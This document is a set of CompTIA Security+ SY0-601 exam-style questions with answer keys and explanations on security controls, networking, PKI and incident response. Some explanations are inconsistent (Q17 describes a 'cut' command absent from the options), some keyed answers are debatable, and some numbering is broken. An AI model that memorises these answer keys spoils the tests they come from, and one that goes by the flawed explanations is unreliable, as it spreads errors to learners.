

CompTIA

Exam Questions SY0-601

CompTIA Security+ Exam



NEW QUESTION 1

- (Exam Topic 3)

A building manager is concerned about people going in and out of the office during non-working hours. Which of the following physical security controls would provide the best solution?

- A. Cameras
- B. Badges
- C. Locks
- D. Bollards

Answer: B

Explanation:

Badges are physical security controls that provide a way to identify and authenticate authorized individuals who need to access a building or a restricted area. Badges can also be used to track the entry and exit times of people and monitor their movements within the premises. Badges can help deter unauthorized access by requiring people to present a valid credential before entering or leaving the office. Badges can also help prevent tailgating, which is when an unauthorized person follows an authorized person through a door or gate. Badges can be integrated with other security systems, such as locks, alarms, cameras, or biometrics, to enhance the level of protection.

NEW QUESTION 2

- (Exam Topic 3)

While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician updates the policy, but the new policy causes several company servers to become unreachable. Which of the following actions would prevent this issue?

- A. Documenting the new policy in a change request and submitting the request to change management
- B. Testing the policy in a non-production environment before enabling the policy in the production network
- C. Disabling any intrusion prevention signatures on the "deny any" policy prior to enabling the new policy
- D. Including an "allow any" policy above the "deny any" policy

Answer: B

Explanation:

Testing the policy in a non-production environment before enabling the policy in the production network would prevent the issue of making several company servers unreachable. A non-production environment is a replica of the production network that is used for testing, development, or training purposes. By testing the policy in a non-production environment, the technician can verify the functionality and impact of the policy without affecting the real network or users. This can help to identify and resolve any errors or conflicts before applying the policy to the production network. Testing the policy in a non-production environment can also help to ensure compliance with security standards and best practices.

NEW QUESTION 3

- (Exam Topic 3)

An administrator is configuring a firewall rule set for a subnet to only access DHCP, web pages, and SFTP, and to specifically block FTP. Which of the following would BEST accomplish this goal?

- A. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 67-Allow: Any Any 68 -Allow: Any Any 22 -Deny: Any Any 21 -Deny: Any Any
- B. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 67-Allow: Any Any 68 -Deny: Any Any 22 -Allow: Any Any 21 -Deny: Any Any
- C. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Allow: Any Any 22-Deny: Any Any 67 -Deny: Any Any 68 -Deny: Any Any 21 -Allow: Any Any
- D. [Permission Source Destination Port]Allow: Any Any 80 -Allow: Any Any 443 -Deny: Any Any 67-Allow: Any Any 68 -Allow: Any Any 22 -Allow: Any Any 21 -Allow: Any Any

Answer: A

Explanation:

This firewall rule set allows a subnet to only access DHCP, web pages, and SFTP, and specifically blocks FTP by allowing or denying traffic based on the source, destination, and port. The rule set is as follows:

- > Allow any source and any destination on port 80 (HTTP)
- > Allow any source and any destination on port 443 (HTTPS)
- > Allow any source and any destination on port 67 (DHCP server)
- > Allow any source and any destination on port 68 (DHCP client)
- > Allow any source and any destination on port 22 (SFTP)
- > Deny any source and any destination on port 21 (FTP)
- > Deny any source and any destination on any other port

NEW QUESTION 4

- (Exam Topic 3)

Which of the following is a primary security concern for a company setting up a BYOD program?

- A. End of life
- B. Buffer overflow
- C. VM escape
- D. Jailbreaking

Answer: D

Explanation:

Jailbreaking is a process of bypassing or removing the manufacturer-imposed restrictions on a mobile device's operating system, allowing users to install unauthorized applications, modify settings, etc. It is a primary security concern for setting up a BYOD program because it can expose the device and its data to malware, vulnerabilities, unauthorized access, etc.

NEW QUESTION 5

- (Exam Topic 3)

Which Of the following best ensures minimal downtime for organizations vÅh critical computing equipment located in earthquake-prone areas?

- A. Generators and UPS
- B. Off-site replication
- C. Additional warm site
- D. Local

Answer: B

Explanation:

Off-site replication is a process of copying and storing data in a remote location that is geographically separate from the primary site. It can ensure minimal downtime for organizations with critical computing equipment located in earthquake-prone areas by providing a backup copy of data that can be accessed and restored in case of a disaster or disruption at the primary site.

NEW QUESTION 6

- (Exam Topic 3)

A large retail store's network was breached recently. and this news was made public. The Store did not lose any intellectual property, and no customer information was stolen. Although no fines were incurred as a result, the Store lost revenue after the breach. Which of the following is the most likely reason for this issue?

- A. Employee training
- B. Leadership changes
- C. Reputation
- D. Identity theft

Answer: C

Explanation:

Reputation is the perception or opinion that customers, partners, investors, etc., have about a company or its products and services. It can affect the revenue and profitability of a company after a network breach, even if no intellectual property or customer information was stolen, because it can damage the trust and confidence of the stakeholders and reduce their willingness to do business with the company

NEW QUESTION 7

- (Exam Topic 3)

Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's PII?

- A. SCAP
- B. NetFlow
- C. Antivirus
- D. DLP

Answer: D

Explanation:

DLP stands for Data Loss Prevention, which is a technology that can monitor, detect and prevent the unauthorized transmission of sensitive data, such as PII (Personally Identifiable Information). DLP can be implemented on endpoints, networks, servers or cloud services to protect data in motion, in use or at rest. DLP can also block or alert on data transfers that violate predefined policies or rules. DLP is the best tool to assist with detecting an employee who has accidentally emailed a file containing a customer's PII, as it can scan the email content and attachments for any data that matches the criteria of PII and prevent the email from being sent or notify the administrator of the incident. Verified References:

- Data Loss Prevention Guide to Blocking Leaks - CompTIA <https://www.comptia.org/content/guides/data-loss-prevention-a-step-by-step-guide-to-blocking-leaks>
- Data Loss Prevention – SY0-601 CompTIA Security+ : 2.1 <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/data-loss-prevention-4/>
- Data Loss Prevention – CompTIA Security+ SY0-501 – 2.1 <https://www.professormesser.com/security-plus/sy0-501/data-loss-prevention-3/>

NEW QUESTION 8

- (Exam Topic 3)

A company wants to deploy PKI on its internet-facing website The applications that are currently deployed are

- www.company.com (mam website)
- contact us company com (for locating a nearby location)
- quotes company.com (for requesting a price quote)

The company wants to purchase one SSL certificate that will work for all the existing applications and any future applications that follow the same naming conventions, such as store company com Which of the following certificate types would best meet the requirements?

- A. SAN
- B. Wildcard
- C. Extended validation
- D. Self-signed

Answer: B

Explanation:

A wildcard certificate is a type of SSL certificate that can secure multiple subdomains under one domain name by using an asterisk (*) as a placeholder for any

subdomain name. For example, *.company.com can secure www.company.com, contactus.company.com, quotes.company.com, etc. It can work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com.

NEW QUESTION 9

- (Exam Topic 3)

Which of the following roles is responsible for defining the protection type and Classification type for a given set of files?

- A. General counsel
- B. Data owner
- C. Risk manager
- D. Chief Information Officer

Answer: B

Explanation:

Data owner is the role that is responsible for defining the protection type and classification type for a given set of files. Data owner is a person in the organization who is accountable for a certain set of data and determines how it should be protected and classified. General counsel is the role that provides legal advice and guidance to the organization. Risk manager is the role that identifies, analyzes, and mitigates risks to the organization. Chief Information Officer is the role that oversees the information technology strategy and operations of the organization

<https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/data-roles-and-responsibilities/>

NEW QUESTION 10

- (Exam Topic 3)

A company wants the ability to restrict web access and monitor the websites that employees visit, Which Of the following would best meet these requirements?

- A. Internet Proxy
- B. VPN
- C. WAF
- D. Firewall

Answer: A

Explanation:

An internet proxy is a server that acts as an intermediary between a client and a destination server on the internet. It can restrict web access and monitor the websites that employees visit by filtering the requests and responses based on predefined rules and policies, and logging the traffic and activities for auditing purposes

NEW QUESTION 10

- (Exam Topic 3)

An organization has expanded its operations by opening a remote office. The new office is fully furnished with office resources to support up to 50 employees working on any given day. Which of the following VPN solutions would best support the new office?

- A. Always-on
- B. Remote access
- C. Site-to-site
- D. Full tunnel

Answer: C

Explanation:

Site-to-site VPN is a type of VPN solution that connects two or more networks or sites across the public internet in a secure and encrypted way. Site-to-site VPN can be implemented using VPN appliances, such as firewalls or routers, that can establish and maintain the VPN tunnel between the sites. Site-to-site VPN can support multiple users or devices that need to access resources on the other site without requiring individual VPN clients or software. Site-to-site VPN is the best solution to support the new remote office, as it can provide secure and seamless connectivity between the office network and the main network of the organization.

Verified References:

➤ Virtual Private Networks – SY0-601 CompTIA Security+ : 3.3 <https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/virtual-private-networks-sy0-601-> (See Site-to-Site VPN)

➤ VPN Technologies – CompTIA Security+ SY0-501 – 3.2 <https://www.professormesser.com/security-plus/sy0-501/vpn-technologies/> (See Site-to-Site VPN)

➤ Security+ (Plus) Certification | CompTIA IT Certifications <https://www.comptia.org/certifications/security> (See Domain 3: Architecture and Design, Objective 3.3: Given a scenario, implement secure network architecture concepts.)

NEW QUESTION 11

- (Exam Topic 3)

A company is developing a business continuity strategy and needs to determine how many staff members would be required to sustain the business in the case of a disruption.

Which of the following best describes this step?

- A. Capacity planning
- B. Redundancy
- C. Geographic dispersion
- D. Tabletop exercise

Answer: A

Explanation:

Capacity planning is the process of determining the resources needed to meet the demand for a service or product. It involves estimating the number of staff members required to sustain the business in the case of a disruption, as well as other factors such as equipment, space, and budget.

Redundancy, geographic dispersion, and tabletop exercise are not directly related to determining the staff members needed for business continuity. Redundancy is

the duplication of critical components or functions to increase reliability and availability². Geographic dispersion is the distribution of resources across different locations to reduce the impact of a localized disaster². Tabletop exercise is a simulation of a potential scenario that tests the effectiveness of a business continuity plan

NEW QUESTION 13

- (Exam Topic 3)

Which of the following has been implemented when a host-based firewall on a legacy Linux system allows connections from only specific internal IP addresses?

- A. Compensating control
- B. Network segmentation
- C. Transfer of risk
- D. SNMP traps

Answer: A

Explanation:

A compensating control is a type of security control that is implemented in lieu of a recommended security measure that is deemed too difficult or impractical to implement at the present time. A compensating control must provide equivalent or comparable protection for the system or network and meet the intent and rigor of the original security requirement. An example of a compensating control is using a host-based firewall on a legacy Linux system to allow connections from only specific internal IP addresses, as it can provide a similar level of defense as a network firewall that may not be compatible with the system. References:

- > <https://www.techtarget.com/whatis/definition/compensating-control>
- > <https://reciprocity.com/resources/whats-the-difference-between-compensating-controls-and-mitigating-co>

NEW QUESTION 15

- (Exam Topic 3)

Which of the following can best protect against an employee inadvertently installing malware on a company system?

- A. Host-based firewall
- B. System isolation
- C. Least privilege
- D. Application allow list

Answer: C

Explanation:

Least privilege is a security principle that states that users should only be granted the permissions they need to do their job. This helps to protect against malware infections by preventing users from installing unauthorized software.

A host-based firewall can help to protect against malware infections by blocking malicious traffic from reaching a computer. However, it cannot prevent a user from installing malware if they have the necessary permissions.

System isolation is the practice of isolating systems from each other to prevent malware from spreading. This can be done by using virtual machines or network segmentation. However, system isolation can be complex and expensive to implement.

An application allow list is a list of applications that are allowed to run on a computer. This can help to prevent malware infections by preventing users from running unauthorized applications. However, an application allow list can be difficult to maintain and can block legitimate applications.

Therefore, the best way to protect against an employee inadvertently installing malware on a company system is to use the principle of least privilege. This will help to ensure that users only have the permissions they need to do their job, which will reduce the risk of malware infections.

Here are some additional benefits of least privilege:

- > It can help to improve security by reducing the attack surface.
- > It can help to simplify security management by reducing the number of permissions that need to be managed.
- > It can help to improve compliance by reducing the risk of data breaches.

NEW QUESTION 17

- (Exam Topic 2)

A security operations technician is searching the log named `/var/messages` for any events that were associated with a workstation with the IP address 10.1.1.1. Which of the following would provide this information?

- A. `cat /var/messages | grep 10.1.1.1`
- B. `grep 10.1.1.1 | cat /var/messages`
- C. `grep /var/messages | cat 10.1.1.1`
- D. `cat 10.1.1.1 | grep /var/messages`

Answer: A

Explanation:

the `cat` command reads the file and streams its content to standard output. The `|` symbol connects the output of the left command with the input of the right command. The `grep` command returns all lines that match the regex. The `cut` command splits each line into fields based on a delimiter and extracts a specific field.

NEW QUESTION 22

- (Exam Topic 2)

A desktop computer was recently stolen from a desk located in the lobby of an office building. Which of the following would be the best way to secure a replacement computer and deter future theft?

- A. Installing proximity card readers on all entryway doors
- B. Deploying motion sensor cameras in the lobby
- C. Encrypting the hard drive on the new desktop
- D. Using cable locks on the hardware

Answer: D

Explanation:

Using cable locks on the hardware can be an effective way to secure a desktop computer and deter future theft. Cable locks are physical security devices that attach to the computer case and to a nearby stationary object, such as a desk or wall. This makes it more difficult for a thief to remove the computer without damaging it or attracting attention.

Installing proximity card readers on all entryway doors can enhance physical security by limiting access to authorized individuals. Deploying motion sensor cameras in the lobby can also help deter theft by capturing images of any unauthorized individuals entering the premises or attempting to steal the computer. Encrypting the hard drive on the replacement desktop can also help protect sensitive data in the event of theft, but it does not provide physical security for the device itself.

NEW QUESTION 25

- (Exam Topic 2)

A security administrator is compiling information from all devices on the local network in order to gain better visibility into user activities. Which of the following is the best solution to meet this objective?

- A. SIEM
- B. HIDS
- C. CASB
- D. EDR

Answer: A

Explanation:

SIEM stands for Security Information and Event Management, which is a solution that can collect, correlate, and analyze security logs and events from various devices on a network. SIEM can provide better visibility into user activities by generating reports, alerts, dashboards, and metrics. SIEM can also help detect and respond to security incidents, comply with regulations, and improve security posture.

NEW QUESTION 29

- (Exam Topic 2)

A security analyst is investigating a report from a penetration test. During the penetration test, consultants were able to download sensitive data from a back-end server. The back-end server was exposing an API that should have only been available from the company's mobile application. After reviewing the back-end server logs, the security analyst finds the following entries:

```
10.35.45.53 - - [22/May/2020:06:57:31 +0100] "GET /api/cliend_id=1 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.26.5"
10.35.45.53 - - [22/May/2020:07:00:58 +0100] "GET /api/cliend_id=2 HTTP/1.1" 403 1705 "http://www.example.com/api/" "PostmanRuntime/7.22.0"
10.32.40.13 - - [22/May/2020:08:08:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 302 21703 "http://www.example.com/api/" "CompanyMobileApp/1.1.1"
10.32.40.25 - - [22/May/2020:08:13:52 +0100] "GET /api/cliend_id=1 HTTP/1.1" 200 21703 "http://www.example.com/api/" "CompanyMobileApp/2.3.1"
10.35.45.53 - - [22/May/2020:08:20:18 +0100] "GET /api/cliend_id=2 HTTP/1.1" 200 22405 "http://www.example.com/api/" "CompanyMobileApp/2.3.0"
```

Which of the following is the most likely cause of the security control bypass?

- A. IP address allow list
- B. User-agent spoofing
- C. WAF bypass
- D. Referrer manipulation

Answer: B

Explanation:

User-agent spoofing is a technique that involves changing the user-agent string of a web browser or other client to impersonate another browser or device. The user-agent string is a piece of information that identifies the client to the web server and can contain details such as the browser name, version, operating system, and device type. User-agent spoofing can be used to bypass security controls that rely on the user-agent string to determine the legitimacy of a request. In this scenario, the consultants were able to spoof the user-agent string of the company's mobile application and access the API that should have been restricted to it.

NEW QUESTION 31

- (Exam Topic 2)

A security analyst is reviewing computer logs because a host was compromised by malware. After the computer was infected it displayed an error screen and shut down. Which of the following should the analyst review first to determine more information?

- A. Dump file
- B. System log
- C. Web application log
- D. Security tool

Answer: A

Explanation:

A dump file is the first thing that a security analyst should review to determine more information about a compromised device that displayed an error screen and shut down. A dump file is a file that contains a snapshot of the memory contents of a device at the time of a system crash or error. A dump file can help a security analyst analyze the cause and source of the crash or error, as well as identify any malicious code or activity that may have triggered it.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/introduction-to-crash-dump-files>

NEW QUESTION 33

- (Exam Topic 2)

A security team is providing input on the design of a secondary data center that has Which of the following should the security team recommend? (Select two).

- A. Configuring replication of the web servers at the primary site to offline storage
- B. Constructing the secondary site in a geographically dispersed location
- C. Deploying load balancers at the primary site
- D. Installing generators
- E. Using differential backups at the secondary site
- F. Implementing hot and cold aisles at the secondary site

Answer: BD

Explanation:

* B. Constructing the secondary site in a geographically dispersed location would ensure that a natural disaster at the primary site would not affect the secondary site. It would also allow for failover during traffic surge situations by distributing the load across different regions. D. Installing generators would provide protection against power surges and outages by providing backup power sources in case of a failure. Generators are part of the physical security requirements for data centers as they ensure availability and resilience. References: 1

CompTIA Security+ Certification Exam Objectives, page 8, Domain 2.0: Architecture and Design, Objective 2.1 : Explain the importance of secure staging deployment concepts 2

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 3

CompTIA Security+ Certification Exam Objectives, page 11, Domain 2.0: Architecture and Design, Objective 2.5: Explain the importance of physical security controls

NEW QUESTION 34

- (Exam Topic 2)

Security engineers are working on digital certificate management with the top priority of making administration easier. Which of the following certificates is the best option?

- A. User
- B. Wildcard
- C. Self-signed
- D. Root

Answer: B

Explanation:

A wildcard certificate is a type of digital certificate that can be used to secure multiple subdomains under a single domain name. For example, a wildcard certificate for *.example.com can be used to secure www.example.com, mail.example.com, blog.example.com, etc. A wildcard certificate can make administration easier by reducing the number of certificates that need to be issued, managed, and renewed. It can also save costs and simplify configuration.

NEW QUESTION 39

- (Exam Topic 2)

During a recent cybersecurity audit, the auditors pointed out various types of vulnerabilities in the production area. The production area hardware runs applications that are critical to production. Which of the following describes what the company should do first to lower the risk to the production hardware?

- A. Back up the hardware.
- B. Apply patches.
- C. Install an antivirus solution.
- D. Add a banner page to the hardware.

Answer: B

Explanation:

Applying patches is the first step to lower the risk to the production hardware, as patches are updates that fix vulnerabilities or bugs in the software or firmware. Patches can prevent attackers from exploiting known vulnerabilities and compromising the production hardware. Applying patches should be done regularly and in a timely manner, following a patch management policy and process. References: 1

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 <https://www.comptia.org/blog/patch-management-best-practices>

NEW QUESTION 44

- (Exam Topic 2)

A network engineer receives a call regarding multiple LAN-connected devices that are on the same switch. The devices have suddenly been experiencing speed and latency issues while connecting to network resources. The engineer enters the command show mac address-table and reviews the following output

VLAN	MAC	PORT
1	00-04-18-EB-14-30	Fa0/1
1	88-CD-34-19-E8-98	Fa0/2
1	40-11-08-87-10-13	Fa0/3
1	00-04-18-EB-14-30	Fa0/4
1	88-CD-34-00-15-F3	Fa0/5
1	FA-13-02-04-27-64	Fa0/6

Which of the following best describes the attack that is currently in progress?

- A. MAC flooding
- B. Evil twin
- C. ARP poisoning
- D. DHCP spoofing

Answer: C

Explanation:

This is an attempt to redirect traffic to an attacking host by sending an ARP packet that contains the forged address of the next hop router. The attacker tricks the victim into believing that it is the legitimate router by sending a spoofed ARP reply with its own MAC address. This causes the victim to send all its traffic to the attacker instead of the router. The attacker can then intercept, modify, or drop the packets as they please.

NEW QUESTION 46

- (Exam Topic 2)

Which of the following would most likely include language prohibiting end users from accessing personal email from a company device?

- A. SLA
- B. BPA
- C. NDA
- D. AUP

Answer: D

Explanation:

AUP or Acceptable Use Policy is a document that defines the rules and guidelines for using a company's IT resources, such as devices, networks, internet, email, etc. It usually includes language prohibiting end users from accessing personal email from a company device, as well as other activities that may compromise security or productivity.

<https://www.thesecuritybuddy.com/governance-risk-and-compliance/what-are-sla-mou-bpa-and-nda/> 3:

<https://www.professormesser.com/security-plus/sy0-501/agreement-types/> 1: <https://www.techopedia.com/definition/2471/acceptable-use-policy-aup>

NEW QUESTION 51

- (Exam Topic 2)

A company needs to enhance its ability to maintain a scalable cloud infrastructure. The infrastructure needs to handle the unpredictable loads on the company's web application. Which of the following cloud concepts would BEST these requirements?

- A. SaaS
- B. VDI
- C. Containers
- D. Microservices

Answer: C

Explanation:

Containers are a type of virtualization technology that allow applications to run in a secure, isolated environment on a single host. They can be quickly scaled up or down as needed, making them an ideal solution for unpredictable loads. Additionally, containers are designed to be lightweight and portable, so they can easily be moved from one host to another. Reference: CompTIA Security+ Sy0-601 official Text book, page 863.

NEW QUESTION 55

- (Exam Topic 2)

A security investigation revealed that malicious software was installed on a server using a server administrator's credentials. During the investigation the server administrator explained that Telnet was regularly used to log in. Which of the following most likely occurred?

- A. A spraying attack was used to determine which credentials to use
- B. A packet capture tool was used to steal the password
- C. A remote-access Trojan was used to install the malware
- D. A directory attack was used to log in as the server administrator

Answer: B

Explanation:

Telnet is an insecure protocol that transmits data in cleartext over the network. This means that anyone who can intercept the network traffic can read the data, including the username and password of the server administrator. A packet capture tool is a software or hardware device that can capture and analyze network packets. An attacker can use a packet capture tool to steal the password and use it to install malicious software on the server. References:

<https://www.comptia.org/content/guides/what-is-network-security>

NEW QUESTION 60

- (Exam Topic 2)

Which of the following procedures would be performed after the root cause of a security incident has been identified to help avoid future incidents from occurring?

- A. Walk-throughs
- B. Lessons learned
- C. Attack framework alignment
- D. Containment

Answer: B

Explanation:

After the root cause of a security incident has been identified, it is important to take the time to analyze what went wrong and how it could have been prevented. This process is known as "lessons learned" and allows organizations to identify potential improvements to their security processes and protocols. Lessons learned typically involve a review of the incident and the steps taken to address it, a review of the security systems and procedures in place, and an analysis of any potential changes that can be made to prevent similar incidents from occurring in the future.

NEW QUESTION 64

- (Exam Topic 2)

A security engineer updated an application on company workstations. The application was running before the update, but it is no longer launching successfully. Which of the following most likely needs to be updated?

- A. Blocklist
- B. Deny list
- C. Quarantine list
- D. Approved list

Answer: D

Explanation:

Approved list is a list of applications or programs that are allowed to run on a system or network. An approved list can prevent unauthorized or malicious software from running and compromising the security of the system or network. An approved list can also help with patch management and compatibility issues. If the security engineer updated an application on the company workstations, the application may need to be added or updated on the approved list to be able to launch successfully. References: 1

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 2

CompTIA Security+ Certification Exam Objectives, page 12,

Domain 3.0: Implementation, Objective 3.1: Implement secure network architecture concepts 3

<https://www.comptia.org/blog/what-is-application-whitelisting>

NEW QUESTION 65

- (Exam Topic 2)

An engineer wants to inspect traffic to a cluster of web servers in a cloud environment. Which of the following solutions should the engineer implement? (Select two).

- A. CASB
- B. WAF
- C. Load balancer
- D. VPN
- E. TLS
- F. DAST

Answer: BC

Explanation:

A web application firewall (WAF) is a solution that inspects traffic to a cluster of web servers in a cloud environment and protects them from common web-based attacks, such as SQL injection, cross-site scripting, and denial-of-service¹. A WAF can be deployed as a cloud service or as a virtual appliance in front of the web servers. A load balancer is a solution that distributes traffic among multiple web servers in a cloud environment and improves their performance, availability, and scalability². A load balancer can also perform health checks on the web servers and route traffic only to the healthy ones. The other options are not relevant to this scenario. A CASB is a cloud access security broker, which is a solution that monitors and controls the use of cloud services by an organization's users³. A VPN is a virtual private network, which is a solution that creates a secure and encrypted connection between two networks or devices over the internet. TLS is Transport Layer Security, which is a protocol that provides encryption and authentication for data transmitted over a network. DAST is dynamic application security testing, which is a method of testing web applications for vulnerabilities by simulating attacks on them.

References: 1: <https://www.imperva.com/learn/application-security/what-is-a-web-application-firewall-waf/> 2:

<https://www.imperva.com/learn/application-security/load-balancing/> 3: <https://www.imperva.com/learn/application-security/cloud-access-security-broker-casb/> :

<https://www.imperva.com/learn/application-security/vpn-virtual-private-network/> : <https://www.imperva.com/learn/application-security/transport-layer-security-tls/> :

<https://www.imperva.com/learn/application-security/dynamic-application-security-testing-dast/> : [https://docs.microsoft.com/en-us/azure/cloud-adoption-](https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/plan-for-traffic-ins)

<https://docs.microsoft.com/en-us/azure/private-link/inspect-traffic-with-azure-firewall> : [https://docs.microsoft.com/en-us/azure/architecture/example-](https://docs.microsoft.com/en-us/azure/architecture/example-scenario/gateway/application-gateway-before-azur)

NEW QUESTION 70

- (Exam Topic 2)

A company has hired an assessment team to test the security of the corporate network and employee vigilance. Only the Chief Executive Officer and Chief Operating Officer are aware of this exercise, and very little information has been provided to the assessors. Which of the following is taking place?

- A. A red-team test
- B. A white-team test
- C. A purple-team test
- D. A blue-team test

Answer: A

Explanation:

A red-team test is a type of security assessment that simulates a real-world attack on an organization's network, systems, applications, and people. The goal of a red-team test is to evaluate the organization's security posture, identify vulnerabilities and gaps, and test the effectiveness of its detection and response capabilities. A red-team test is usually performed by a group of highly skilled security professionals who act as adversaries and use various tools and techniques to breach the organization's defenses. A red-team test is often conducted without the knowledge or consent of most of the organization's staff, except for a few senior executives who authorize and oversee the exercise.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://cybersecurity.att.com/blogs/security-essentials/what-is-red-teaming>

NEW QUESTION 73

- (Exam Topic 2)

A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?

- A. TFTP was disabled on the local hosts
- B. SSH was turned off instead of modifying the configuration file
- C. Remote login was disabled in the networkd.conf instead of using the sshd.conf.
- D. Network services are no longer running on the NAS.

Answer: B

Explanation:

Disabling remote logins to the NAS likely involved turning off SSH instead of modifying the configuration file. This would prevent users from using SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Source: TechTarget

NEW QUESTION 78

- (Exam Topic 2)

Which Of the following security controls can be used to prevent multiple from using a unique card swipe and being admitted to a entrance?

- A. Visitor logs
- B. Faraday cages
- C. Access control vestibules
- D. Motion detection sensors

Answer: C

Explanation:

Access control vestibules are physical security controls that consist of two sets of doors or gates that create a small enclosed space between them. Only one door or gate can be opened at a time, and only one person can enter or exit the vestibule at a time. Access control vestibules can prevent multiple people from using a unique card swipe and being admitted to a secure entrance, as they require each person to authenticate individually and prevent tailgating or piggybacking.

NEW QUESTION 83

- (Exam Topic 2)

A corporate security team needs to secure the wireless perimeter of its physical facilities to ensure only authorized users can access corporate resources. Which of the following should the security team do? (Refer the answer from CompTIA SY0-601 Security+ documents or guide at comptia.org)

- A. Identify rogue access points.
- B. Check for channel overlaps.
- C. Create heat maps.
- D. Implement domain hijacking.

Answer: A

Explanation:

Based on CompTIA SY0-601 Security+ guide, the answer to the question is A. Identify rogue access points. To secure the wireless perimeter of its physical facilities, the corporate security team should focus on identifying rogue access points, which are unauthorized access points that have been set up by employees or outsiders to bypass security controls. By identifying and removing these rogue access points, the team can ensure that only authorized users can access corporate resources through the wireless network.
<https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 85

- (Exam Topic 2)

A company a "right to forgotten" request To legally comply, the company must remove data related to the requester from its systems. Which Of the following Company most likely complying with?

- A. NIST CSF
- B. GDPR
- C. PCI OSS
- D. ISO 27001

Answer: B

Explanation:

GDPR stands for General Data Protection Regulation, which is a law that regulates data protection and privacy in the European Union (EU) and the European Economic Area (EEA). GDPR also applies to the transfer of personal data outside the EU and EEA areas. GDPR grants individuals the right to request the deletion or removal of their personal data from an organization's systems under certain circumstances. This right is also known as the "right to be forgotten" or the "right to erasure". An organization that receives such a request must comply with it within a specified time frame, unless there are legitimate grounds for retaining the data.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://gdpr-info.eu/issues/right-to-be-forgotten/>

NEW QUESTION 87

- (Exam Topic 2)

A security team suspects that the cause of recent power consumption overloads is the unauthorized use of empty power outlets in the network rack. Which of the following options will mitigate this issue without compromising the number of outlets available?

- A. Adding a new UPS dedicated to the rack
- B. Installing a managed PDU
- C. Using only a dual power supplies unit
- D. Increasing power generator capacity

Answer: B

Explanation:

Installing a managed PDU is the most appropriate option to mitigate the issue without compromising the number of outlets available. A managed Power Distribution Unit (PDU) helps monitor, manage, and control power consumption at the rack level. By installing a managed PDU, the security team will have greater visibility into power usage in the network rack, and they can identify and eliminate unauthorized devices that consume excessive power from empty outlets.
<https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 88

- (Exam Topic 2)

A security team is engaging a third-party vendor to do a penetration test of a new proprietary application prior to its release. Which of the following documents would the third-party vendor most likely be required to review and sign?

- A. SLA
- B. NDA
- C. MOU
- D. AUP

Answer: B

Explanation:

NDA stands for Non-Disclosure Agreement, which is a legal contract that binds the parties to keep confidential information secret and not to disclose it to unauthorized parties. A third-party vendor who is doing a penetration test of a new proprietary application would most likely be required to review and sign an NDA to protect the intellectual property and trade secrets of the security team.

NEW QUESTION 92

- (Exam Topic 2)

A company completed a vulnerability scan. The scan found malware on several systems that were running older versions of Windows. Which of the following is MOST likely the cause of the malware infection?

- A. Open permissions
- B. Improper or weak patch management
- C. Unsecure root accounts
- D. Default settings

Answer: B

Explanation:

The reason for this is that older versions of Windows may have known vulnerabilities that have been patched in more recent versions. If a company is not regularly patching their systems, they are leaving those vulnerabilities open to exploit, which can allow malware to infect the systems.

It is important to regularly update and patch systems to address known vulnerabilities and protect against potential malware infections. This is an important aspect of proper security management.

Here is a reference to the CompTIA Security+ certification guide which states that "Properly configuring and maintaining software, including patch management, is critical to protecting systems and data."

Reference: CompTIA Security+ Study Guide: SY0-601 by Emmett Dulaney, Chuck Easttom <https://www.wiley.com/en-us/CompTIA+Security%2B+Study+Guide%3A+SY0-601-p-9781119515968>

NEW QUESTION 93

- (Exam Topic 2)

A systems analyst is responsible for generating a new digital forensics chain-of-custody form. Which of the following should the analyst include in this documentation? (Select two).

- A. The order of volatility
- B. A forensics NDA
- C. The provenance of the artifacts
- D. The vendor's name
- E. The date and time
- F. A warning banner

Answer: CE

Explanation:

A digital forensics chain-of-custody form is a document that records the chronological and logical sequence of custody, control, transfer, analysis, and disposition of digital evidence. A digital forensics chain-of-custody form should include the following information:

➤ The provenance of the artifacts: The provenance of the artifacts refers to the origin and history of the digital evidence, such as where, when, how, and by whom it was collected, handled, analyzed, or otherwise controlled.

➤ The date and time: The date and time refer to the specific moments when the digital evidence was collected, handled, analyzed, transferred, or disposed of by each person involved in the chain of custody.

Other information that may be included in a digital forensics chain-of-custody form are:

➤ The identification of the artifacts: The identification of the artifacts refers to the unique identifiers or labels assigned to the digital evidence, such as serial numbers, barcodes, hashes, or descriptions.

➤ The signatures of the custodians: The signatures of the custodians refer to the names and signatures of each person who had custody or control of the digital evidence at any point in the chain of custody.

➤ The location of the artifacts: The location of the artifacts refers to the physical or logical places where the digital evidence was stored or processed, such as a lab, a server, a cloud service, or a device.

